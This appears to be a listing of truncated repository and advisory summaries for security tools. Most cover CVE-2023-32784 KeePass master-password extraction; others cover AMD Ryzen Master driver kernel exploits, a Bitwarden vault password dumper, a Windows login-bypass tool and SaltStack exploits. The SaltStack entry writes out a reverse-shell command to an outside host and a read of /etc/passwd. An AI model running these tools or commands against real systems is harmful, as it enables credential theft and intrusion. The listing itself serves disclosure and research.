keepass-password-dumper

KeePass 2.X Master Password Dumper CVE-2023-32784 更新 この脆弱性は CVE-2023-32784 に割り当てられ、KeePass 2.54 で修正されました。Dominik Reichl 氏の迅速な対応と創造的な修正に改めて感謝します！ 明確化: パスワードはキーボードから入力される必要があり、クリップボードからコピーされたものは対象外です （「しくみ」のセクションを参照）。 あなたにできること まず、KeePass 2.54 以降に更新してください 。 次に、KeePass...

keepass-exfil-forensics

KeePass メモリ流出 — ネットワークフォレンジック調査 実際の DFIR CTF シナリオ TryHackMe で使用された hex → Base64 → XOR 難読化チェーンを逆変換して PCAP トラフィックから流出データを復元し、その後 CVE-2023-32784 を悪用してプロセスメモリダンプから直接 KeePass マスターパスワードを回復します。 攻撃の全体図 Victim workstation Attacker C2 Server ------------------- ------------------- Malicious .ps1 downloaded...

qubes-core-admin

Qubes コア、バージョン 3 これは Qubes OS コアの master ブランチです。 API ドキュメントはこちら: https://dev.qubes-os.org/projects/core-admin/en/latest/。...

keepass_dump

Keepass-Dumper 这是我对 CVE-2023-32784 的概念验证实现。 我的版本是 @vdohney 的 PoC 的 Python 移植，并做了一些更改和额外功能。 变更 一项变更是使用转储文件中可找到的已知字符串，以便更准确地跳转至主密钥字符所在位置。这减少了假阳性字符，并大大缩短了扫描文件所需的时间。如果转储文件中未找到这些字符串，扫描将从文件开头开始。此选项默认启用，但若希望执行完整扫描，可使用 --full-scan。对于此类情况，我还添加了 --skip 标志以加快扫描速度。原理是通过偏移指针跳过接下来的 1000...

CVE-2023-20564

CVE-2023-20564 - AMD Ryzen Master ドライバ物理メモリアクセス PoC 概要 このリポジトリには、AMD Ryzen Master ドライバの脆弱性 CVE-2023-20564 を実証する概念実証 PoC が含まれています。この脆弱性により、非特権ユーザーが任意の物理メモリを読み書きでき、特権昇格やシステム侵害の可能性が生じます。 脆弱性の詳細 CVE ID : CVE-2023-20564 CVSS スコア : 8.8 高 ベンダー : AMD 製品 : AMD Ryzen Master ドライバ 影響を受けるバージョン : AMD Ryzen...

chipwhisperer

ChipWhisperer | | Important Links Documentation | Tutorials | Forum | Store | NewAE ChipWhisperer 6.0: Repo Changes and Cleanup ChipWhisperer 6.0 is bringing many changes to the ChipWhisperer repository. The biggest one is a cleanup of the git history on both this repo and chipwhisperer-jupyter, ...

cve-2023-32784

CVE-2023-32784 KeePass 2.X のバージョン 2.54 未満では、アンロックされた KeePass データベースのメモリダンプからマスターパスワードが取得可能になる脆弱性が存在します。この脆弱性には CVE-2023-32784 が割り当てられています。 このプログラムは、実行中の KeePass プロセスのメモリダンプからマスターパスワードを取得することを目的としています。出力は、位置ごとの潜在的な文字、1行の潜在的なパスフレーズ、および JohnTheRipper マスクです。 インストール Go がインストールされている場合 $ go install...

CVE-2023-32784-EXPLOIT-REPORT

CVE-2023-32784 漏洞利用演示 项目概述 本仓库演示了 CVE-2023-32784，这是 KeePass 2.54 之前版本中存在的一个严重漏洞。该漏洞可通过内存转储恢复主密码，从而暴露存储的凭据。本文档逐步说明了如何搭建漏洞利用环境、执行 PoC 工具以及理解缓解策略。 漏洞详情 描述 CVE-2023-32784 是 KeePass 2.0 至 2.53 版本中存在的一个内存泄漏漏洞，源于 KeePass 的 Secure Textbox EX 组件对字符串处理不当。主密码中输入的每个字符都会在内存中留下痕迹，从而可通过内存转储恢复密码。 主要特征： 严重性：高...

AmdRyzenMasterCheat

ECPRO-LAN アンチチート: FACEIT, ESEA カスタムバージョン 2019年初頭～2020年後半。R.I.P. https://h0mbre.github.io/RyzenMasterCVE/ 要件: 全アップデートを適用したWindows 10 Enterprise 1607 LTSB AMD Ryzen CPU マザーボード B350-B450 B550 クライアントはバグあり Logitech GHUB インストール済み マウス入力用 旧世代のRyzenプロセッサではAmdRyzenMasterドライバのバージョンが異なる可能性があります 1.3.0.0...

tofu

tofu オフラインのWindowsファイルシステムをハッキングし、ログイン画面をバイパスするためのモジュラーツール。ハッシュダンプ、OSKバックドア、ユーザー列挙などが可能です。 動作の仕組み : Windowsマシンがシャットダウンされると、Bitlockerや他の暗号化サービスが有効になっていない限り、ストレージデバイスには、ロック解除された状態と同じようにデバイスに保存されているすべてのデータが含まれています。つまり、起動可能なUSBからオペレーティングシステムを起動してファイルにアクセスしたり、ファイルシステムを別のコンピュータに接続したりすることができます。...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

scannerl

Scannerl Scannerl は、Kudelski Security によって実装されたモジュール式分散フィンガープリンティングエンジンです。 Scannerl は単一のホストで数千のターゲットをフィンガープリントできますが、複数のホストに簡単に分散することもできます。Scannerl はフィンガープリンティングにおける、ポートスキャンにおける zmap のような存在です。 Scannerl は Debian/Ubuntu/Arch...

ASUSTOR ADM 3.1.0.RFQ3 - SQL Injection

ASUSTOR ADM version 3.1.0.RFQ3 is vulnerable to SQL injection via the albumid parameter in the /photo-gallery/api/album/treelists/ endpoint. An attacker can exploit this vulnerability to execute arbitrary SQL commands on the database, potentially leading to information disclosure or further...

TerraMaster TOS < 4.2.06 - User Enumeration

User Enumeration vulnerability in TerraMaster TOS = 4.2.06 allows remote unauthenticated attackers to identify valid users within the system via the username parameter to wizard/initialise.php. id: CVE-2020-28185 info: name: TerraMaster TOS 4.2.06 - User Enumeration author: pussycat0x severity:...

Apache Spark - Authentication Bypass

In Apache Spark 2.4.5 and earlier, a standalone resource manager's master may be configured to require authentication spark.authenticate via a shared secret. When enabled, however, a specially-crafted RPC to the master can succeed in starting an application's resources on the Spark cluster, even...

CVE-2023-32784-keepass-linux

KeePass 2.53/cmdline ファイルをスキャンし、コマンドライン引数に KeePass というキーワードを含むプロセスの pid を保存します。 次に、/proc//maps 内のメモリマップのうち、ライブラリに直接関連していないもの（つまり、ファイルパスが空のもの）のアドレスを取得します。 そして、/proc//mem を利用して、それらのマップのメモリをすべてバッファに保存します。これはLinux上の任意のプロセスのメモリをダンプする原始的な動作です。 メモリを解析して、ユーザーがマスターパスワードを入力した際に残った文字列（•a, ••s, •••s...

CVE-2023-30765

CVE-2023-30765 CVE-2023-30765 / ZDI-23-905 - Delta Electronics Infrasuite Device Master Privilege Escalation Bug credit: Piotr Bazydlo @chudypb Links: https://www.zerodayinitiative.com/advisories/ZDI-23-905/ https://www.cisa.gov/news-events/ics-advisories/icsa-23-180-01 Usage python3...

amd-ryzen-master-driver-v17-exploit

AMDのRyzen Master Driver（バージョン17）を使用したカーネルエクスプロイト用のCobalt Strikeビーコンオブジェクトファイル。 Tijme制作。教えてくれたAlexに感謝！ Northwave Securityの支援により実現 説明 これは、AMDのRyzen Master Driver（バージョン17）を悪用するCobalt...

bw-dump

BW-Dump 更新2 ：此漏洞被分配了 CVE-2023-38840。 更新 ：GitHub 上已发布了一个拉取请求（5813）的补丁，修复了该漏洞。受影响的版本是 Bitwarden Desktop 2023.7.0 及以下版本。 描述 一个概念验证工具，可从锁定状态的 Bitwarden 密码库中提取主密码（密码库必须至少解锁过一次）。此工具仅适用于当前会话，系统重启后将无法使用。不需要 管理员权限。 已发布一篇博客文章，可在此处查看：https://redmaple.tech/blogs/2023/extract-bitwarden-vault-passwords/ 演示 使用...

KeePass-CVE-2023-32784-Exploitation-and-Defense

KeePass メモリリーク脆弱性 CVE-2023-32784: エクスプロイトと防御アーキテクチャ 目的 KeePass Password Safe v2.53 における CVE-2023-32784 脆弱性を分析し、メモリダンプによるマスターパスワード抽出を実証し、堅牢な検出および緩和策を設計することを目的とする。 脆弱性 KeePass はマスターパスワード入力に独自の SecureTextBoxEx を使用しており、入力された全ての文字に対してプロセスのアドレス空間に文字列断片が残る。実行中のプロセスの .DMP...